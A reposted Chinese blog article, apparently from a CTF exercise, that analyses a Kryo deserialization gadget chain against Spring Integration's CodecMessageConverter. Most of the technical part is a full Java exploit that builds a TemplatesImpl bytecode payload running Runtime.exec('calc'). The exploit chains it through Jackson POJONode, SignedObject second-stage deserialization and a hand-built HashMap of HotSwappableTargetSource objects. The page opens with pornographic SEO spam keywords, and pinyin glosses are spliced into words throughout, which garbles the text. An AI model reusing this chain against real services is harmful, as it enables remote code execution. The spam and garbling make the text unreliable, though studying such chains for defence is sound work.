国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Kryo反序列化鏈分析

這篇具有很好參考價(jià)值的文章主要介紹了Kryo反序列化鏈分析。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

前言

Kryo是一個(gè)快速序列化/反序列化工具,依賴于字節(jié)碼生成機(jī)制(底層使用了ASM庫),因此在序列化速度上有一定的優(yōu)勢,但正因如此,其使用也只能限制在基于JVM的語言上。
Kryo序列化出的結(jié)果,是其自定義的,獨(dú)有的一種格式。由于其序列化出的結(jié)果是二進(jìn)制的,也即byte[],因此像redis這樣可以存儲(chǔ)二進(jìn)制數(shù)據(jù)的存儲(chǔ)引擎是可以直接將Kryo序列化出來的數(shù)據(jù)存進(jìn)去。當(dāng)然你也可以選擇轉(zhuǎn)換成String的形式存儲(chǔ)在其他存儲(chǔ)引擎中(性能有損耗)

環(huán)境搭建

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>5.2.0</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-messaging</artifactId>
    <version>5.3.18</version>
</dependency>
<dependency>
    <groupId>org.springframework.integration</groupId>
    <artifactId>spring-integration-core</artifactId>
    <version>5.3.1.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

例題

package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
    public MessageController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public Object message(String message) throws Exception {
        byte[] decodemsg;
        if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
        } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception var5) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
        }

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
        return messagecode.getPayload();
    }
}

漏洞點(diǎn)在codecMessageConverter.toMessage里面,并且給了一個(gè)比較明顯的base64字符串,看一下codecMessageConverter類,有一個(gè)toMessagefromMessage,對應(yīng)的就是反序列化和序列化了
Kryo反序列化鏈分析

Kyro反序列化鏈

package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exploit {
    public static void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        // 二次反序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        Templates templates = new TemplatesImpl();
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 設(shè)置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 一次反序列化
        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手動(dòng)構(gòu)造 HashMap 以防觸發(fā)正向利用鏈
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
        setFieldValue(hashMap, "table", tbl);
        //String serial = serial(hashMap);
        //System.out.println(serial);
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
//        Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//        writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

分析一下鏈子的流程,在toMessage處打個(gè)斷點(diǎn),nmmd,斷點(diǎn)停不住,艸了,手動(dòng)分析一波
Kryo反序列化鏈分析
進(jìn)入decode方法
Kryo反序列化鏈分析
這里觸發(fā)kryo的readObject,手動(dòng)進(jìn)去
Kryo反序列化鏈分析
進(jìn)入read方法,這里為MapSerializer的read方法Kryo反序列化鏈分析
這個(gè)map是我們的惡意map,通過觸發(fā)equals方法來觸發(fā)我們之后一系列的鏈子,這個(gè)之后的鏈子就是我們的jackson鏈,就不多說了,到此為止....文章來源地址http://www.zghlxwxcb.cn/news/detail-851425.html

到了這里,關(guān)于Kryo反序列化鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • .NET的8種JSON序列化反序列化工具供你選擇

    在.NET開發(fā)中,.NET的JSON序列化反序列化工具除了Newtonsoft.Json和System.Text.Json其實(shí)還有很多優(yōu)秀的開源的序列化和反序列化工具,這些工具有的性能更加優(yōu)秀,更加輕量等特征。本文將匯總介紹這些.NET中常用的JSON序列化和反序列化工具,供大家選擇參考使用。 1、Newtonsoft.Json

    2024年02月08日
    瀏覽(26)
  • SharedPreferences工具類保存List對象,自動(dòng)完成序列化和反序列化

    以下是一個(gè)示例的SharedPreferences工具類,其中包含了setList()和getList()方法,用于將List序列化為JSON字符串并存儲(chǔ)到SharedPreferences中,以及從SharedPreferences中獲取JSON字符串并反序列化為List對象: 在上述代碼中,我們定義了一個(gè)SharedPreferencesUtils工具類,其中包含了setList()和getLis

    2024年02月16日
    瀏覽(22)
  • 又一個(gè)難題:Java 序列化和反序列化為什么要實(shí)現(xiàn) Serializable 接口?

    作者:椰子Tyshawn 來源:https://blog.csdn.net/litianxiang_kaola 最近公司的在做服務(wù)化, 需要把所有model包里的類都實(shí)現(xiàn)Serializable接口, 同時(shí)還要顯示指定serialVersionUID的值. 聽到這個(gè)需求, 我腦海里就突然出現(xiàn)了好幾個(gè)問題, 比如說: 序列化和反序列化是什么? 實(shí)現(xiàn)序列化和反序列化為什

    2024年02月08日
    瀏覽(20)
  • drf——Request源碼分析、序列化組件、序列化類的使用(字段類和參數(shù))、反序列化校驗(yàn)和保存

    views.py中 urls.py中 序列化類 字段 字段構(gòu)造方式 BooleanField BooleanField() NullBooleanField NullBooleanField() CharField CharField(max_length=None, min_length=None, allow_blank=False, trim_whitespace=True) EmailField EmailField(max_length=None, min_length=None, allow_blank=False) RegexField RegexField(regex, max_length=None, min_length=None, a

    2024年02月05日
    瀏覽(24)
  • Hessian反序列化分析

    Hessian反序列化分析

    RPC全稱為 Remote Procedure Call Protocol (遠(yuǎn)程調(diào)用協(xié)議),RPC和之前學(xué)的RMI十分類似,都是遠(yuǎn)程調(diào)用服務(wù),它們不同之處就是RPC是通過標(biāo)準(zhǔn)的二進(jìn)制格式來定義請求的信息,這樣跨平臺(tái)和系統(tǒng)就更加方便 RPC協(xié)議的一次遠(yuǎn)程通信過程如下: 客戶端發(fā)起請求,并按照RPC協(xié)議格式填充信

    2024年04月11日
    瀏覽(21)
  • RMI反序列化分析

    RMI反序列化分析

    RMI全程Remote Method Invocation (遠(yuǎn)程方法引用),RMI有客戶端和服務(wù)端,還有一個(gè)注冊中心,在java中客戶端可以通過RMI調(diào)用服務(wù)端的方法,流程圖如下: 服務(wù)端創(chuàng)建RMI后會(huì)在RMI Registry(注冊中心)注冊,之后客戶端都是從注冊中心調(diào)用方法,RMI分為三個(gè)主體部分: Client-客戶端

    2024年03月26日
    瀏覽(38)
  • JDBC反序列化分析

    JDBC反序列化分析

    找兩個(gè)序列化后的bin文件,進(jìn)行對比,可以發(fā)現(xiàn)前兩個(gè)字節(jié)是固定的 AC , ED ,變十進(jìn)制就是 -84 , -19 記住這兩個(gè)數(shù),后面分析的時(shí)候會(huì)用到 觸發(fā)點(diǎn)在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在觸發(fā)readObject之前還對data的前兩個(gè)字節(jié)進(jìn)行了比較來判斷是不是序列化對象,

    2024年04月08日
    瀏覽(22)
  • Shiro反序列化分析

    Shiro反序列化分析

    Shiro,一個(gè)流行的web框架,養(yǎng)活了一大批web狗,現(xiàn)在來對它分析分析。Shiro的gadget是CB鏈,其實(shí)是CC4改過來的,因?yàn)镾hiro框架是自帶 Commoncollections 的,除此之外還帶了一個(gè)包叫做 CommonBeanUtils ,主要利用類就在這個(gè)包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 編輯shiro/s

    2024年03月24日
    瀏覽(23)
  • SnakeYaml反序列化分析

    SnakeYaml反序列化分析

    SnakeYaml是Java中解析yaml的庫,而yaml是一種人類可讀的數(shù)據(jù)序列化語言,通常用于編寫配置文件等。yaml真是到哪都有啊。 SPI機(jī)制就是,服務(wù)端提供接口類和尋找服務(wù)的功能,客戶端用戶這邊根據(jù)服務(wù)端提供的接口類來定義具體的實(shí)現(xiàn)類,然后服務(wù)端會(huì)在加載該實(shí)現(xiàn)類的時(shí)候去

    2024年04月22日
    瀏覽(33)
  • FastJson反序列化分析

    FastJson反序列化分析

    前言:網(wǎng)上關(guān)于FastJson的分析文章一大片,本文只是筆者在實(shí)踐操作中理解的一些東西,不算特別詳細(xì),留作日后復(fù)習(xí),歡迎一起交流 什么是FastJson? Fastjson是一個(gè)由阿里巴巴維護(hù)的一個(gè)json庫。它采用一種“假定有序快速匹配”的算法,是號(hào)稱Java中最快的json庫。 先來看看一

    2024年02月06日
    瀏覽(47)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包